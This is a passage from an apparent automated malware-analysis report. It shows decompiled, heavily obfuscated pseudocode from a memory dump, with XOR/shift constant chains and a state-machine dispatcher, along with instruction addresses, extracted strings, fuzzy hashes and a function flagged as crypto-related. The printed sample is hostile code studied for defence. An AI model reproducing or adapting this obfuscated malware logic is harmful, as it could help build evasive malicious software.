				_v400 = _v400 ^ 0x07d5f55f;
				_v360 = 0xe617d1;
				_v360 = _v360 >> 0xd;
				_v360 = _v360 | 0x5174fa74;
				_v360 = _v360 + 0x188;
				_v360 = _v360 ^ 0x517a384b;
				_v128 = 0xe00f23;
				_v128 = _v128 << 0xa;
				_v128 = _v128 ^ 0x8036c474;
				_v408 = 0xcb78c3;
				_v408 = _v408 / _t851;
				_t852 = 0x47;
				_v408 = _v408 / _t852;
				_v408 = _v408 + 0xffff68fe;
				_v408 = _v408 ^ 0xfff44118;
				_v272 = 0xfc5a62;
				_v272 = _v272 * 0x34;
				_v272 = _v272 >> 5;
				_v272 = _v272 ^ 0x019747a7;
				_v156 = 0xfa4dde;
				_v156 = _v156 >> 8;
				_v156 = _v156 ^ 0x000644ae;
				_v304 = 0x2315e0;
				_v304 = _v304 ^ 0x963b0ec5;
				_t853 = 0x11;
				_v304 = _v304 / _t853;
				_v304 = _v304 ^ 0x08dc5d77;
				_v392 = 0x627a1b;
				_t854 = 0x75;
				_v392 = _v392 / _t854;
				_v392 = _v392 << 0xc;
				_t976 = 0x2a;
				_v392 = _v392 / _t976;
				_v392 = _v392 ^ 0x0054cd8e;
				_v148 = 0x2962f6;
				_v148 = _v148 << 0xe;
				_v148 = _v148 ^ 0x58b06ca9;
				_v212 = 0x9d6abd;
				_v212 = _v212 + 0xffff6fa8;
				_v212 = _v212 ^ 0x009f4a76;
				_v416 = 0xfea0f4;
				_t855 = 0x2d;
				_v416 = _v416 / _t855;
				_v416 = _v416 / _t973;
				_v416 = _v416 + 0x55e0;
				_v416 = _v416 ^ 0x0005c112;
				_v228 = 0x3963a4;
				_v228 = _v228 ^ 0x31d128c3;
				_v228 = _v228 ^ 0x31eeea44;
				_v136 = 0x9230b0;
				_v136 = _v136 + 0xffff1ea6;
				_v136 = _v136 ^ 0x00954d5e;
				_v364 = 0x2249f0;
				_v364 = _v364 ^ 0xfb680cc4;
				_v364 = _v364 / _t976;
				_v364 = _v364 << 4;
				_v364 = _v364 ^ 0x5fb5fcae;
				_v160 = 0x56bde9;
				_v160 = _v160 << 0x10;
				_v160 = _v160 ^ 0xbde8ac4a;
				_v312 = 0x1ceb4a;
				_v312 = _v312 | 0x930b0a1e;
				_v312 = _v312 + 0x4259;
				_v312 = _v312 ^ 0x93207f8d;
				_v280 = 0x43d239;
				_v280 = _v280 >> 0xb;
				_v280 = _v280 + 0xffff7066;
				_v280 = _v280 ^ 0xfff11c5c;
				_v264 = 0xa9b19b;
				_v264 = _v264 + 0xffffea48;
				_v264 = _v264 ^ 0xb4acc61c;
				_v264 = _v264 ^ 0xb407c15c;
				_v288 = 0x20bbe8;
				_v288 = _v288 + 0xffffa4f3;
				_v288 = _v288 + 0xeeb1;
				_v288 = _v288 ^ 0x002a2e89;
				_v384 = 0x678812;
				_t856 = 0x60;
				_v384 = _v384 / _t856;
				_v384 = _v384 ^ 0xc458a46c;
				_t974 = 0x4e52e2;
				_t977 = 0x8c2efc;
				_t857 = 0x74;
				_v384 = _v384 / _t857;
				_v384 = _v384 ^ 0x01b63bee;
				_v256 = 0xedc72;
				_t858 = 0x62;
				_v256 = _v256 / _t858;
				_v256 = _v256 >> 0xf;
				_v256 = _v256 ^ 0x000eb51d;
				_v352 = 0x77af38;
				_v352 = _v352 + 0xffff483b;
				_v352 = _v352 + 0xdbd8;
				_v352 = _v352 + 0xffff9e40;
				_v352 = _v352 ^ 0x007a82c2;
				_v316 = 0x34e014;
				_v316 = _v316 >> 0xb;
				_v316 = _v316 + 0xffff226a;
				_v316 = _v316 ^ 0x55756368;
				_v316 = _v316 ^ 0xaa84562e;
				_v324 = 0x2bc11f;
				_v324 = _v324 | 0x52ab72b8;
				_t859 = 0x58;
				_v324 = _v324 / _t859;
				_t860 = 0x5f;
				_v324 = _v324 / _t860;
				_v324 = _v324 ^ 0x00016621;
				_v252 = 0xf022e;
				_v252 = _v252 >> 8;
				_t861 = 0x3b;
				_v252 = _v252 / _t861;
				_v252 = _v252 ^ 0x000f04ac;
				while(1) {
					L1:
					_t802 = 0xd56de6a;
					while(1) {
						L2:
						_t862 = 0x80f0eae;
						do {
							while(1) {
								L3:
								_t985 = _t834 - 0x8ccb677;
								if(_t985 > 0) {
									break;
								}
								if(_t985 == 0) {
									E00DA8907(_v100, _v280, _v264, _v288);
									_t834 = _t974;
									while(1) {
										L1:
										_t802 = 0xd56de6a;
										L2:
										_t862 = 0x80f0eae;
										goto L3;
									}
								}
								if(_t834 == _t974) {
									E00DA8907(_v116, _v384, _v256, _v352);
									_t834 = 0xe9f0a5a;
									while(1) {
										L1:
										_t802 = 0xd56de6a;
										goto L2;
									}
								}
								if(_t834 == _t977) {
									_t824 = E00DAF561(_v104);
									_t834 = 0xac30134;
									__eflags = _t824;
									_t981 =  !=  ? 1 : _t981;
									while(1) {
										L1:
										_t802 = 0xd56de6a;
										goto L2;
									}
								}
								if(_t834 == 0x14ed6fb) {
									_t825 = E00DA132D(_v116, _v296, _v240, _v120, _v204);
									_t982 =  &(_t982[3]);
									__eflags = _t825 - _v140;
									_t802 = 0xd56de6a;
									_t834 =  ==  ? 0xd56de6a : _t974;
									goto L2;
								}
								if(_t834 == 0x15fae28) {
									_t826 = E00DB0AD3(_v328, _v268, __eflags);
									_t895 = 0xd91598;
									__eflags = E00D9F7F4(_v400, _t826, _v360,  *_v96,  *((intOrPtr*)(_v96 + 4)), _t895, _v128, _v112,  &_v100, _v408, _v272, _v220, _v156, _v304) - _v336;
									_t834 =  ==  ? 0x80f0eae : _t974;
									E00DA2EED(_v392, _v148, _v212, _t826);
									_t982 =  &(_t982[0xe]);
									L14:
									_t977 = 0x8c2efc;
									L35:
									_t862 = 0x80f0eae;
									_t802 = 0xd56de6a;
									goto L36;
								}
								if(_t834 == 0x28b91dd) {
									_t834 = 0xbb5c550;
									continue;
								}
								if(_t834 != _t862) {
									goto L36;
								}
								E00DA3927(_v416, _v228, _v136, _v196,  &_v104, _v116, _v100);
								_t982 =  &(_t982[5]);
								_t834 =  ==  ? _t977 : 0x8ccb677;
								while(1) {
									L1:
									_t802 = 0xd56de6a;
									goto L2;
								}
							}
							__eflags = _t834 - 0x9b49f28;
							if(_t834 == 0x9b49f28) {
								_v108 = 0x100;
								_t804 = E00DA703F(_v332, _v260, _v340, 0x100,  &_v116, _v112, _v348, _v356);
								_t982 =  &(_t982[6]);
								__eflags = _t804 - _v152;
								if(__eflags != 0) {
									_t834 = 0xe9f0a5a;
									goto L35;
								}
								_t834 = 0x14ed6fb;
								while(1) {
									L1:
									_t802 = 0xd56de6a;
									goto L2;
								}
							}
							__eflags = _t834 - 0xac30134;
							if(_t834 == 0xac30134) {
								E00D95FF7(_v364, _v160, _v312, _v104);
								_t834 = 0x8ccb677;
								goto L1;
							}
							__eflags = _t834 - 0xbb5c550;
							if(__eflags == 0) {
								_push(0xd916d8);
								_t806 = E00DB0AD3(_v284, _v380, __eflags);
								 *_t982 = 0xd915c8;
								__eflags = E00D992DD(_t806, _v276, _v224,  &_v112, E00DB0AD3(_v164, _v144, __eflags), _v232, _v372, _v236) - _v216;
								_t834 =  ==  ? 0x9b49f28 : 0x911112e;
								E00DA2EED(_v192, _v200, _v208, _t806);
								E00DA2EED(_v168, _v176, _v184, _t807);
								_t982 =  &(_t982[0xa]);
								_t974 = 0x4e52e2;
								goto L14;
							}
							__eflags = _t834 - _t802;
							if(__eflags == 0) {
								_push(0xd91598);
								_t813 = E00DB0AD3(_v248, _v320, __eflags);
								_t876 = 0x48;
								_t980 = _t813;
								_v108 = _t876;
								_t815 = E00D9AD17( &_v108, _v404, _t876, _v412,  &_v76, _v420, _t876, _v116, _v368, _v344, _v376, _t813, _v124, _v188);
								_t982 =  &(_t982[0xc]);
								__eflags = _t815 - _v308;
								if(_t815 != _v308) {
									_t834 = _t974;
								} else {
									_push(_v300);
									_push(_v180);
									_push(_v292);
									_push(_v132);
									_push( *0xdb5be0 + 0x18);
									_t970 = 0x40;
									E00DA4626( &_v68, _t970);
									_t982 =  &(_t982[5]);
									_t834 = 0x15fae28;
								}
								E00DA2EED(_v172, _v388, _v396, _t980);
								goto L14;
							}
							__eflags = _t834 - 0xe9f0a5a;
							if(_t834 != 0xe9f0a5a) {
								goto L36;
							}
							E00D92CF9(_v316, _v324, _v244, _v252, _v112);
							L25:
							return _t981;
							L36:
							__eflags = _t834 - 0x911112e;
						} while (__eflags != 0);
						goto L25;
					}
				}
			}

0x00d9c69b
0x00d9c6a1
0x00d9c6b9
0x00d9c6c0
0x00d9c6c5
0x00d9c6c8
0x00d9c6c9
0x00d9c6cb
0x00d9c6d0
0x00d9c6d1
0x00d9c6e7
0x00d9c6ee
0x00d9c6f6
0x00d9c701
0x00d9c70c
0x00d9c717
0x00d9c722
0x00d9c72f
0x00d9c732
0x00d9c736
0x00d9c73b
0x00d9c740
0x00d9c748
0x00d9c753
0x00d9c75e
0x00d9c769
0x00d9c774
0x00d9c77f
0x00d9c78a
0x00d9c7a0
0x00d9c7a7
0x00d9c7b2
0x00d9c7ba
0x00d9c7c2
0x00d9c7cc
0x00d9c7cd
0x00d9c7d1
0x00d9c7d9
0x00d9c7e4
0x00d9c7ec
0x00d9c7f4
0x00d9c7ff
0x00d9c80a
0x00d9c812
0x00d9c819
0x00d9c824
0x00d9c82c
0x00d9c834
0x00d9c839
0x00d9c841
0x00d9c849
0x00d9c85c
0x00d9c863
0x00d9c86e
0x00d9c879
0x00d9c884
0x00d9c88f
0x00d9c89a
0x00d9c8b0
0x00d9c8c0
0x00d9c8c5
0x00d9c8ce
0x00d9c8d9
0x00d9c8e1
0x00d9c8e9
0x00d9c8f5
0x00d9c8fa
0x00d9c900
0x00d9c908
0x00d9c913
0x00d9c91b
0x00d9c926
0x00d9c931
0x00d9c93c
0x00d9c947
0x00d9c952
0x00d9c95d
0x00d9c968
0x00d9c973
0x00d9c97e
0x00d9c989
0x00d9c991
0x00d9c999
0x00d9c99e
0x00d9c9a6
0x00d9c9ae
0x00d9c9b9
0x00d9c9c1
0x00d9c9cc
0x00d9c9d7
0x00d9c9de
0x00d9c9e9
0x00d9c9f4
0x00d9c9ff
0x00d9ca0a
0x00d9ca1c
0x00d9ca1f
0x00d9ca26
0x00d9ca31
0x00d9ca44
0x00d9ca4b
0x00d9ca56
0x00d9ca61
0x00d9ca6c
0x00d9ca77
0x00d9ca82
0x00d9ca8d
0x00d9ca98
0x00d9caa5
0x00d9caa9
0x00d9cab1
0x00d9cab6
0x00d9cabe
0x00d9cac9
0x00d9cad4
0x00d9cadc
0x00d9cae7
0x00d9caef
0x00d9cafc
0x00d9cb00
0x00d9cb05
0x00d9cb0d
0x00d9cb15
0x00d9cb1d
0x00d9cb25
0x00d9cb2a
0x00d9cb32
0x00d9cb3d
0x00d9cb4a
0x00d9cb52
0x00d9cb5d
0x00d9cb72
0x00d9cb75
0x00d9cb76
0x00d9cb7d
0x00d9cb88
0x00d9cb9d
0x00d9cba4
0x00d9cbaf
0x00d9cbba
0x00d9cbc5
0x00d9cbd0
0x00d9cbdb
0x00d9cbe3
0x00d9cbeb
0x00d9cbf5
0x00d9cbf9
0x00d9cc01
0x00d9cc0e
0x00d9cc12
0x00d9cc17
0x00d9cc1f
0x00d9cc27
0x00d9cc2f
0x00d9cc34
0x00d9cc41
0x00d9cc45
0x00d9cc4d
0x00d9cc55
0x00d9cc5a
0x00d9cc6a
0x00d9cc6e
0x00d9cc76
0x00d9cc86
0x00d9cc8f
0x00d9cc90
0x00d9cc9a
0x00d9cc9e
0x00d9cca6
0x00d9ccae
0x00d9ccb6
0x00d9ccbe
0x00d9ccc3
0x00d9cccb
0x00d9ccd6
0x00d9cce1
0x00d9ccec
0x00d9ccff
0x00d9cd06
0x00d9cd11
0x00d9cd1c
0x00d9cd27
0x00d9cd32
0x00d9cd3d
0x00d9cd45
0x00d9cd50
0x00d9cd5b
0x00d9cd66
0x00d9cd6e
0x00d9cd79
0x00d9cd86
0x00d9cd8e
0x00d9cd99
0x00d9cda4
0x00d9cdb8
0x00d9cdbd
0x00d9cdc6
0x00d9cdd1
0x00d9cdde
0x00d9cde1
0x00d9cde5
0x00d9cded
0x00d9cdf5
0x00d9cdfd
0x00d9ce05
0x00d9ce0d
0x00d9ce17
0x00d9ce1b
0x00d9ce23
0x00d9ce2b
0x00d9ce33
0x00d9ce3b
0x00d9ce43
0x00d9ce47
0x00d9ce4f
0x00d9ce5a
0x00d9ce6c
0x00d9ce71
0x00d9ce7a
0x00d9ce85
0x00d9ce92
0x00d9ce95
0x00d9ce99
0x00d9cea6
0x00d9ceaa
0x00d9ceb2
0x00d9ceba
0x00d9cebf
0x00d9cec7
0x00d9cecf
0x00d9ced7
0x00d9cee2
0x00d9ceea
0x00d9cef5
0x00d9cf05
0x00d9cf0d
0x00d9cf10
0x00d9cf14
0x00d9cf1c
0x00d9cf24
0x00d9cf37
0x00d9cf3e
0x00d9cf46
0x00d9cf51
0x00d9cf5c
0x00d9cf64
0x00d9cf6f
0x00d9cf7c
0x00d9cf90
0x00d9cf95
0x00d9cf9c
0x00d9cfa7
0x00d9cfb5
0x00d9cfba
0x00d9cfbe
0x00d9cfc9
0x00d9cfce
0x00d9cfd2
0x00d9cfda
0x00d9cfe5
0x00d9cfed
0x00d9cff8
0x00d9d003
0x00d9d00e
0x00d9d019
0x00d9d027
0x00d9d02c
0x00d9d038
0x00d9d03c
0x00d9d044
0x00d9d04c
0x00d9d057
0x00d9d062
0x00d9d06d
0x00d9d078
0x00d9d083
0x00d9d08e
0x00d9d096
0x00d9d0a6
0x00d9d0aa
0x00d9d0af
0x00d9d0b7
0x00d9d0c2
0x00d9d0ca
0x00d9d0d5
0x00d9d0e0
0x00d9d0eb
0x00d9d0f6
0x00d9d101
0x00d9d10c
0x00d9d114
0x00d9d11f
0x00d9d12a
0x00d9d135
0x00d9d140
0x00d9d14b
0x00d9d156
0x00d9d161
0x00d9d16c
0x00d9d177
0x00d9d184
0x00d9d190
0x00d9d195
0x00d9d19b
0x00d9d1a3
0x00d9d1ac
0x00d9d1b1
0x00d9d1b6
0x00d9d1bc
0x00d9d1c4
0x00d9d1d6
0x00d9d1db
0x00d9d1e4
0x00d9d1ec
0x00d9d1f7
0x00d9d1ff
0x00d9d207
0x00d9d20f
0x00d9d217
0x00d9d21f
0x00d9d227
0x00d9d22c
0x00d9d234
0x00d9d23c
0x00d9d244
0x00d9d24c
0x00d9d258
0x00d9d25d
0x00d9d267
0x00d9d26c
0x00d9d272
0x00d9d27a
0x00d9d285
0x00d9d294
0x00d9d297
0x00d9d29e
0x00d9d2a9
0x00d9d2a9
0x00d9d2a9
0x00d9d2ae
0x00d9d2ae
0x00d9d2ae
0x00d9d2b3
0x00d9d2b3
0x00d9d2b3
0x00d9d2b3
0x00d9d2b9
0x00000000
0x00000000
0x00d9d2bf
0x00d9d48f
0x00d9d496
0x00d9d2a9
0x00d9d2a9
0x00d9d2a9
0x00d9d2ae
0x00d9d2ae
0x00000000
0x00d9d2ae
0x00d9d2a9
0x00d9d2c7
0x00d9d462
0x00d9d469
0x00d9d2a9
0x00d9d2a9
0x00d9d2a9
0x00000000
0x00d9d2a9
0x00d9d2a9
0x00d9d2cf
0x00d9d435
0x00d9d43c
0x00d9d442
0x00d9d444
0x00d9d2a9
0x00d9d2a9
0x00d9d2a9
0x00000000
0x00d9d2a9
0x00d9d2a9
0x00d9d2db
0x00d9d40e
0x00d9d41a
0x00d9d41d
0x00d9d421
0x00d9d426
0x00000000
0x00d9d426
0x00d9d2e7
0x00d9d359
0x00d9d35e
0x00d9d3bc
0x00d9d3d2
0x00d9d3d9
0x00d9d3de
0x00d9d3e1
0x00d9d3e1
0x00d9d715
0x00d9d715
0x00d9d71a
0x00000000
0x00d9d71a
0x00d9d2ef
0x00d9d33f
0x00000000
0x00d9d33f
0x00d9d2f3
0x00000000
0x00000000
0x00d9d328
0x00d9d32d
0x00d9d337
0x00d9d2a9
0x00d9d2a9
0x00d9d2a9
0x00000000
0x00d9d2a9
0x00d9d2a9
0x00d9d4a2
0x00d9d4a4
0x00d9d6c7
0x00d9d6f5
0x00d9d6fa
0x00d9d6fd
0x00d9d704
0x00d9d710
0x00000000
0x00d9d710
0x00d9d706
0x00d9d2a9
0x00d9d2a9
0x00d9d2a9
0x00000000
0x00d9d2a9
0x00d9d2a9
0x00d9d4aa
0x00d9d4b0
0x00d9d6ab
0x00d9d6b2
0x00000000
0x00d9d6b2
0x00d9d4b6
0x00d9d4bc
0x00d9d5e0
0x00d9d5e5
0x00d9d5fa
0x00d9d645
0x00d9d65b
0x00d9d665
0x00d9d680
0x00d9d685
0x00d9d688
0x00000000
0x00d9d688
0x00d9d4c2
0x00d9d4c4
0x00d9d512
0x00d9d517
0x00d9d51f
0x00d9d527
0x00d9d529
0x00d9d568
0x00d9d56d
0x00d9d570
0x00d9d577
0x00d9d5b7
0x00d9d579
0x00d9d579
0x00d9d587
0x00d9d58e
0x00d9d595
0x00d9d5a4
0x00d9d5a7
0x00d9d5a8
0x00d9d5ad
0x00d9d5b0
0x00d9d5b0
0x00d9d5c9
0x00000000
0x00d9d5cf
0x00d9d4c6
0x00d9d4cc
0x00000000
0x00000000
0x00d9d4f2
0x00d9d4fc
0x00d9d506
0x00d9d71f
0x00d9d71f
0x00d9d71f
0x00000000
0x00d9d72b
0x00d9d2ae

Strings

U, xrefs: 00D9D03C
eCf, xrefs: 00D9CE1B
K8zQ, xrefs: 00D9CECF
9K, xrefs: 00D9C80A
]^, xrefs: 00D9CD6E
oaj, xrefs: 00D9CE3B
hcuU, xrefs: 00D9D234
RN, xrefs: 00D9D1A3
~Y, xrefs: 00D9CD1C
w:", xrefs: 00D9CD32
dV, xrefs: 00D9CDED
RN, xrefs: 00D9D688
g, xrefs: 00D9CC9E
H, xrefs: 00D9CDC6
YB, xrefs: 00D9D0EB
D1, xrefs: 00D9D062

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 9K$D1$K8zQ$YB$]^$dV$eCf$g$hcuU$oaj$w:"$~Y$H$RN$RN$U
API String ID: 0-3730166627
Opcode ID: b52f5bbb369541a12748bb0528ae1f9d19750da1dbf4594d33843ee3e4f02dc1
Instruction ID: be87feea0d873c4b914c75e3c83a5b954a3ce9611fa695a5870b5024edda8210
Opcode Fuzzy Hash: b52f5bbb369541a12748bb0528ae1f9d19750da1dbf4594d33843ee3e4f02dc1
Instruction Fuzzy Hash: 42820E715083818FD378CF65C98AB8BBBE2BBC5304F10891DE6D996260DBB19949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00DA1C12, Relevance: 20.6, Strings: 16, Instructions: 644
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00DA1C12(void* __ecx) {
				char _v524;
				char _v1044;
				char _v1564;
				char _v2084;
				char _v2604;
				signed int _v2608;
				intOrPtr _v2612;
				intOrPtr _v2616;
				intOrPtr _v2620;
				char _v2624;
				intOrPtr _v2628;
				char _v2632;
				signed int _v2636;
				signed int _v2640;
				signed int _v2644;
				signed int _v2648;
				signed int _v2652;
				signed int _v2656;
				signed int _v2660;
				signed int _v2664;
				signed int _v2668;
				signed int _v2672;
				signed int _v2676;
				signed int _v2680;
				signed int _v2684;
				signed int _v2688;
				signed int _v2692;
				signed int _v2696;
				signed int _v2700;
				signed int _v2704;
				signed int _v2708;
				signed int _v2712;
				signed int _v2716;
				signed int _v2720;
				signed int _v2724;
				signed int _v2728;
				signed int _v2732;
				signed int _v2736;
				signed int _v2740;
				signed int _v2744;
				signed int _v2748;
				signed int _v2752;
				signed int _v2756;
				signed int _v2760;
				signed int _v2764;
				signed int _v2768;
				signed int _v2772;
				signed int _v2776;
				signed int _v2780;
				signed int _v2784;
				signed int _v2788;
				signed int _v2792;
				signed int _v2796;
				signed int _v2800;
				signed int _v2804;
				signed int _v2808;
				signed int _v2812;
				signed int _v2816;
				signed int _v2820;
				signed int _v2824;
				signed int _v2828;
				signed int _v2832;
				signed int _v2836;
				signed int _v2840;
				signed int _v2844;
				signed int _v2848;
				signed int _v2852;
				signed int _v2856;
				signed int _v2860;
				signed int _v2864;
				signed int _v2868;
				signed int _v2872;
				signed int _v2876;
				unsigned int _v2880;
				signed int _v2884;
				signed int _v2888;
				signed int _v2892;
				signed int _v2896;
				signed int _v2900;
				signed int _v2904;
				signed int _v2908;
				signed int _v2912;
				signed int _v2916;
				signed int _v2920;
				signed int _v2924;
				signed int _v2928;
				signed int _v2932;
				void* _t755;
				void* _t756;
				short* _t766;
				signed int _t773;
				signed int _t779;
				signed int _t788;
				void* _t791;
				signed int _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t798;
				signed int _t799;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				signed int _t805;
				signed int _t806;
				signed int _t807;
				signed int _t808;
				signed int _t809;
				void* _t812;
				signed int _t877;
				void* _t882;
				signed int* _t883;
				signed int* _t884;
				void* _t887;

				_t883 =  &_v2932;
				_v2608 = _v2608 & 0x00000000;
				_v2612 = 0xa3d4eb;
				_v2660 = 0x6758cb;
				_v2660 = _v2660 << 4;
				_v2660 = _v2660 ^ 0x06758c99;
				_v2732 = 0xdc8525;
				_v2732 = _v2732 | 0x3ff23f5d;
				_v2732 = _v2732 ^ 0x3feebf7d;
				_v2928 = 0xfbcda8;
				_v2928 = _v2928 | 0x9eb5e9b7;
				_v2928 = _v2928 + 0xffff6f36;
				_v2928 = _v2928 + 0xffffec33;
				_v2928 = _v2928 ^ 0x9ef08d4a;
				_v2756 = 0xde70d9;
				_t882 = __ecx;
				_t877 = 0x99d8a48;
				_t793 = 0x28;
				_v2756 = _v2756 / _t793;
				_v2756 = _v2756 | 0x7728469f;
				_v2756 = _v2756 ^ 0x772920e1;
				_v2900 = 0xe4279b;
				_v2900 = _v2900 >> 0xc;
				_v2900 = _v2900 * 0x68;
				_v2900 = _v2900 + 0xffff73cc;
				_v2900 = _v2900 ^ 0x000006fc;
				_v2688 = 0xa4ffcb;
				_v2688 = _v2688 + 0xffff5cd6;
				_v2688 = _v2688 ^ 0x00a04a41;
				_v2908 = 0xc9c6ce;
				_v2908 = _v2908 | 0xf5fbf83a;
				_v2908 = _v2908 + 0x7e10;
				_v2908 = _v2908 / _t793;
				_v2908 = _v2908 ^ 0x062c0b4a;
				_v2916 = 0x7f9442;
				_v2916 = _v2916 << 0xb;
				_v2916 = _v2916 ^ 0x8520fee0;
				_v2916 = _v2916 + 0xe609;
				_v2916 = _v2916 ^ 0x798f337b;
				_v2652 = 0x9f68d1;
				_t794 = 0x4e;
				_v2652 = _v2652 * 0x2e;
				_v2652 = _v2652 ^ 0x1cad1c96;
				_v2680 = 0x874387;
				_v2680 = _v2680 / _t794;
				_v2680 = _v2680 ^ 0x000eef56;
				_v2740 = 0x218d86;
				_v2740 = _v2740 ^ 0x8da9a7ec;
				_v2740 = _v2740 + 0xffff8c18;
				_v2740 = _v2740 ^ 0x8d8801a5;
				_v2780 = 0xd8f554;
				_v2780 = _v2780 >> 0xb;
				_v2780 = _v2780 >> 7;
				_v2780 = _v2780 ^ 0x00079072;
				_v2892 = 0x1ce380;
				_v2892 = _v2892 ^ 0x506392b2;
				_v2892 = _v2892 >> 2;
				_v2892 = _v2892 ^ 0xa7f562ec;
				_v2892 = _v2892 ^ 0xb3eeada2;
				_v2748 = 0x4b6045;
				_v2748 = _v2748 | 0xfff2b3bd;
				_v2748 = _v2748 ^ 0xfffe78ab;
				_v2772 = 0x44b019;
				_v2772 = _v2772 << 6;
				_v2772 = _v2772 ^ 0xdf8519b0;
				_v2772 = _v2772 ^ 0xcea55934;
				_v2672 = 0x9de851;
				_v2672 = _v2672 + 0xdaae;
				_v2672 = _v2672 ^ 0x009a5a0c;
				_v2816 = 0xce234;
				_v2816 = _v2816 ^ 0xef3b6bc0;
				_v2816 = _v2816 + 0xb943;
				_v2816 = _v2816 ^ 0xef313dc6;
				_v2644 = 0x831e64;
				_v2644 = _v2644 << 7;
				_v2644 = _v2644 ^ 0x418cd6ce;
				_v2792 = 0xb71d5;
				_v2792 = _v2792 + 0xd0e6;
				_v2792 = _v2792 >> 1;
				_v2792 = _v2792 ^ 0x000ab854;
				_v2800 = 0xbc4add;
				_v2800 = _v2800 >> 4;
				_v2800 = _v2800 >> 4;
				_v2800 = _v2800 ^ 0x000f3ccc;
				_v2860 = 0xc7de55;
				_v2860 = _v2860 >> 8;
				_v2860 = _v2860 >> 3;
				_v2860 = _v2860 + 0xffffb96d;
				_v2860 = _v2860 ^ 0xfff9a10f;
				_v2868 = 0x50e0;
				_v2868 = _v2868 << 0x10;
				_v2868 = _v2868 ^ 0x31c9bada;
				_v2868 = _v2868 << 3;
				_v2868 = _v2868 ^ 0x0945daeb;
				_v2876 = 0x5f8cf7;
				_v2876 = _v2876 ^ 0xc877f21d;
				_v2876 = _v2876 + 0x5049;
				_v2876 = _v2876 ^ 0xb9ce624b;
				_v2876 = _v2876 ^ 0x71e38bc3;
				_v2884 = 0xd45199;
				_v2884 = _v2884 + 0x1b0f;
				_v2884 = _v2884 ^ 0x78878a0d;
				_v2884 = _v2884 >> 0x10;
				_v2884 = _v2884 ^ 0x0002122d;
				_v2784 = 0xb41ca7;
				_v2784 = _v2784 >> 6;
				_v2784 = _v2784 << 5;
				_v2784 = _v2784 ^ 0x005b868a;
				_v2636 = 0x8dae72;
				_v2636 = _v2636 + 0xffffc621;
				_v2636 = _v2636 ^ 0x008635a7;
				_v2664 = 0x1c5bb7;
				_v2664 = _v2664 + 0x2d8a;
				_v2664 = _v2664 ^ 0x0011f5d8;
				_v2760 = 0x485545;
				_t204 =  &_v2760; // 0x485545
				_t795 = 0x2b;
				_v2760 =  *_t204 / _t795;
				_t210 =  &_v2760; // 0x772920e1
				_t796 = 0x33;
				_v2760 =  *_t210 / _t796;
				_v2760 = _v2760 ^ 0x0005bb0a;
				_v2768 = 0x206724;
				_v2768 = _v2768 + 0xbd1f;
				_t797 = 0x66;
				_v2768 = _v2768 * 0x7b;
				_v2768 = _v2768 ^ 0x0fe22bc5;
				_v2776 = 0x718f5a;
				_v2776 = _v2776 * 0x3f;
				_v2776 = _v2776 ^ 0xe004a3c2;
				_v2776 = _v2776 ^ 0xfbf0dedb;
				_v2852 = 0x30668;
				_v2852 = _v2852 / _t797;
				_v2852 = _v2852 * 0x79;
				_t798 = 0x34;
				_v2852 = _v2852 * 0x41;
				_v2852 = _v2852 ^ 0x00e90d43;
				_v2880 = 0xddde8d;
				_v2880 = _v2880 + 0xffff9e4d;
				_v2880 = _v2880 ^ 0x2170423a;
				_v2880 = _v2880 >> 1;
				_v2880 = _v2880 ^ 0x10d47b31;
				_v2764 = 0x8f88ee;
				_v2764 = _v2764 + 0xffff0386;
				_v2764 = _v2764 * 0x4a;
				_v2764 = _v2764 ^ 0x293e38ba;
				_v2932 = 0x1330a6;
				_v2932 = _v2932 << 0x10;
				_v2932 = _v2932 ^ 0x26950d85;
				_v2932 = _v2932 | 0xf53ba417;
				_v2932 = _v2932 ^ 0xf73491db;
				_v2848 = 0x8b68d8;
				_v2848 = _v2848 + 0xffffc5d2;
				_v2848 = _v2848 / _t798;
				_t799 = 0x44;
				_v2848 = _v2848 * 0x12;
				_v2848 = _v2848 ^ 0x00302441;
				_v2796 = 0x487ac0;
				_v2796 = _v2796 >> 2;
				_v2796 = _v2796 << 2;
				_v2796 = _v2796 ^ 0x0044512a;
				_v2788 = 0x814d4e;
				_v2788 = _v2788 << 0xd;
				_v2788 = _v2788 + 0xffffeb04;
				_v2788 = _v2788 ^ 0x29afe2cb;
				_v2648 = 0x81f400;
				_v2648 = _v2648 / _t799;
				_v2648 = _v2648 ^ 0x0007d40f;
				_v2924 = 0x344f86;
				_v2924 = _v2924 * 0x6e;
				_v2924 = _v2924 | 0xa7e46eb9;
				_v2924 = _v2924 << 7;
				_v2924 = _v2924 ^ 0xff3431be;
				_v2696 = 0x5309a4;
				_v2696 = _v2696 + 0xabda;
				_v2696 = _v2696 ^ 0x0057eeeb;
				_v2640 = 0xcd8354;
				_v2640 = _v2640 * 0x30;
				_v2640 = _v2640 ^ 0x268d1ae3;
				_v2736 = 0x8b4c85;
				_v2736 = _v2736 + 0xffffcdbf;
				_v2736 = _v2736 >> 9;
				_v2736 = _v2736 ^ 0x00036e60;
				_v2700 = 0x49adfc;
				_v2700 = _v2700 | 0xa8ad8379;
				_v2700 = _v2700 ^ 0xa8e07f1f;
				_v2836 = 0x26ed3a;
				_v2836 = _v2836 << 4;
				_v2836 = _v2836 ^ 0xdd500379;
				_v2836 = _v2836 ^ 0x075ca1f5;
				_v2836 = _v2836 ^ 0xd8654197;
				_v2864 = 0x88b41;
				_v2864 = _v2864 ^ 0x8a41e3e3;
				_v2864 = _v2864 << 2;
				_v2864 = _v2864 * 0x3d;
				_v2864 = _v2864 ^ 0xcdf16822;
				_v2712 = 0x130ad6;
				_v2712 = _v2712 + 0x26b0;
				_v2712 = _v2712 ^ 0x001463fa;
				_v2912 = 0xf18913;
				_t800 = 0x60;
				_v2912 = _v2912 / _t800;
				_v2912 = _v2912 ^ 0xfb8d6542;
				_v2912 = _v2912 ^ 0x1ef95146;
				_v2912 = _v2912 ^ 0xe575fcb3;
				_v2832 = 0xd4991f;
				_v2832 = _v2832 >> 1;
				_t801 = 0x19;
				_v2832 = _v2832 * 0x39;
				_v2832 = _v2832 + 0x6431;
				_v2832 = _v2832 ^ 0x17a3d9f5;
				_v2840 = 0x943911;
				_v2840 = _v2840 ^ 0xe2670b6e;
				_v2840 = _v2840 + 0x24d4;
